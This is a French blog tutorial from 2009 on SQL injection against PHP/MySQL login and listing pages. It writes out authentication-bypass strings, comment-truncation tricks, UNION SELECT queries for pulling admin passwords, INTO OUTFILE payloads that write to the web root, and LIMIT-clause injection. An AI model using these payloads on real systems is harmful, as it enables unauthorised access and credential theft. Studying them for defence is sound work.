samedi 19 septembre 2009

Injection SQL

Voici un tutoriel sur l'injection SQL sous MySQL et MS SQL server. Dans ce tuto vous verez toutes la puissance des injections; ma platforme de test : LAMP avec magic_quote à OFF dans une première partie et ensuite magic_quote à ON ;-)

Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application web. On va injecter une requète SQL non prévue par le système et pouvant compromettre sa sécurité.

La requète va ètre modifiée grace à des valeurs qui ne sont pas filtrées et entrées par l'attaquant notons qu'il existe de nombreuses fonctions en php pour filtrer comme addslashes(), qui ajoute des slashes ;-) alors la chaîne ' -- devient \' --.
Mais notons toutefois que la fonction addslashes() ne suffit pas pour stopper les injections via les variables numériques, qui ne sont pas encadrées d'apostrophes ou de guillemets dans les requètes SQL.
mysql_error()

Dans un premier temps nous essayons de provoquer des erreurs pour que mysql_error() nous indique des infos non souhaité et nous permette de connaitre le nom des tables.


Tout d'abord afin de vérifier la présence de faille nous allons tester si les champs a renseigner sont sensible a l'injection et donc si magic_quote est à ON dans php.ini.
Pour cela il suffit de mettre une simple quote ' dans le champ ou un double quotes " . Si on obtient un message d'erreur, c'est que les quotes ( ' ou " ) passent sans être bloquées.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'mon_texte' and pass='"mon_pass'' at line 1

Cela signifie que les magic_quotes dans mon php.ini sont a OFF; un bout de la requète est donc exécuté.

A ce stade il faut bien connaitre la synthaxe sql pour jongler avec les quotes et les expressions pour détourner la requête initial. Voila la requête type que l'ondevrait avoir:
$sql="select * from ma_table where login='$login' and password='$pass'";

Pour que la condition soit True il suffit de la comparer a une valeur similaire comme 1=1 ou 'X'='X' ...

$req="select * from ma_table where login='' OR 1=1 and password='' OR 1=1 ";

Ici on selectionne select dans ma_table tous les champs * ou le login est NULL OU 1=1 (condition toujours vrai) ET le password est NULL OU 1=1

Il suffit donc pour cette injection d'inserer pour le login: ' OR 'X'='X et la mème chose pour le password. La syntaxe de la requète est bonne voila ce a quoi va resembler notre requête quand nous l'exécuterons: les quotes permettent de modifier la synthaxe de façon transparente :-)
$sql="select * from ma_table where login='' OR 'X'='X' and password='' OR 'X'='X'";

Quelques d'expressions qui retourne toujours true:

SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'mounaim'='mounaim'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3>0 THEN 1 END
Les Commentaires

Un autre cas bien connu et l'utilisation des commentaires pour détourner la requête sql:
Une des utilisations que l'on peu en faire serait de les utiliser afin d'éffacer ce qui se trouve derrière la dernière variable entrée avec les commentaires php /* mon_code_php */
LOGIN: moi'/*
PASS: */OR 'X' = 'X
$req="select * from admin where login='moi'/*' and password='*/OR 'X'='X' ";

Ici on mets le champ PASS en commentaire avec /* */, notons qu'il faut connaitre le champ LOGIN ainsi on peu faire afficher les pass correspondant au login de l'admin.
On peu aussi utiliser les caractète échappatoir sql # ou -- pour microso$ SQL Server:
$req="select * from admin where login='admin'#' and password='' ";


Utilisation de la synthaxe UNION
UNION est implémentée en MySQL 4.0.0. UNION est utilisé pour combiner le résultat de plusieurs requètes SELECT en un seul résultat :).
Les colonnes listées dans la partie select_expression du SELECT doivent ètre du mème type (int, varchar...). Les noms de colonnes utilisés dans le premier SELECT seront utilisé comme nom de champs pour les résultats retournés.
$sql="select login,pass from admin where login='' UNION SELECT login,pass from admin/*' and pass='$pass' ";

Il faut déterminer le nombre de champs du premier select, pour cela on se sert de l'erreur renvoyée : il suffit de placer un chiffre en commençant par un 0 puis 0,0 pour deux colonne ensuite 0,0,0 pour trois colonnes ... et regarder l'erreur que nous retourne MySql.
' UNION SELECT 0 from ma_table/*

Qui donne
Erreur SQL :The used SELECT statements have a different number of columns

' UNION SELECT 0,0 from ma_table/*

On rentre dans l'espace admin avec comme nom 0 Nous savons désormais que la table ma_table contient 2 champs.

Nous pouvons tester le champs password par exemple à différentes position pour afficher le résultat ;) Je sais qu'il y a deux champ et je teste avec comme nom de champ password et en /* pour de pas prendre en compte le reste ce qui donne:
' UNION SELECT 0,password from ma_table/*

ou si cela ne fonctionne pas on teste un autre champ:
' UNION SELECT password,0 from ma_table/*

OUTPUTFILE
Comme son nom l'indique on peu rediriger la sortie standard avec output file + le path.
On peu exporter la liste de résultat du select.
La fonction INTO OUTFILE écrira (par défaut) dans le dossier lib\mysql\nomdelatable le fichier contenant la sortie du select.
(Attention à bien replacer le fichier dans le répertoire www, sans quoi vous ne pourrez le consulter)
Il faut également les droits des fichiers. Exemple:
$sql="select login,pass from admin INTO OUTFILE 'path/file.txt' ";

Imaginons un login contenant
' OR 'X'='X' INTO OUTFILE '../../www/file.txt'#

Ce qui donne comme requète:
$sql="select login,pass from admin where login='' OR 'X'='X' INTO OUTFILE '../../www/file.txt'#' and pass='$pass'";

On a pas le bon pass, mais nous pouvons tout de même aller à la racine du serveur rechercher le notre fichier file.txt et on obtient les pass et logs de connexion. On pourrait aussi pouvoir lire le contenu du code php dans notre ../../www/file.txt imaginez ce que l'on peu faire afficher.
login: ' UNION SELECT "","0" from admin INTO OUTFILE '../../www/file.text'/*

Le code php sera enregistré dans file.text, il nous suffira de le consulter et de modifier $ma_variable par ce que vous désirez ;-).
LIMIT magic_quote on
Les magic quotes permettent de faire automatiquement ce que fait la fonction addslashes, sur les données transmises par l'utilisateur (magic_quotes_gpc) et/ou provenant d'une source externe (magic_quotes_runtime). Lorsque les magic_quotes sont activées, tous les caractères ' (apostrophes), " (guillemets), \ (antislash) et NULL sont donc échappés par un antislash. D'après nos connaissances personnelles en SQL, on sait que $le_debut est la première variable de la clause LIMIT, qui est sous la forme :
$sql="Select * from membre LIMIT $le_debut,$la_fin";

Grace à la clause LIMIT qui ne nécessite aucunes quotes pour délimiter les limites ;)). L'exploitation est exactemenet la mème. $la_fin est souvent calculé suivant le nombre de messages afficher par page ($la_fin=$le_debut+$messagesparpages). Donc pour peu que la variable $le_debut ne soit pas filtrée, on peut faire afficher ce qu'on veut.
Imaginons une requête pour qu'on puisse récupérer le login et le pass.

On ne connait pas le nombre de champs. Donc nous ferons les test habituelles pour découvrir les champs.
Voici la requête avec UNION:
$sql="select * from messages limit 0,100 UNION SELECT login,pass,0,0,0,0,0,0 FROM admin/*,$la_fin";

Pour avoir le login
debut=0,100 UNION SELECT 0,login,pass,0,0,0,0,0 FROM admin /*

A vous de trouver pour le pass ( c'est la même chose ...)
Voila c'est tout pour le moment sur les injections sql mais ce type de faille n'a de limite que votre imagination a vous de faire évoluer le domaine de la sécurité informatique.
La Base de Données Open Source la plus Populaire au Monde

Tuto vidéo :


Source : http://adsltele.free.fr/tutoriel-injection-sql.php

Aucun commentaire:

Enregistrer un commentaire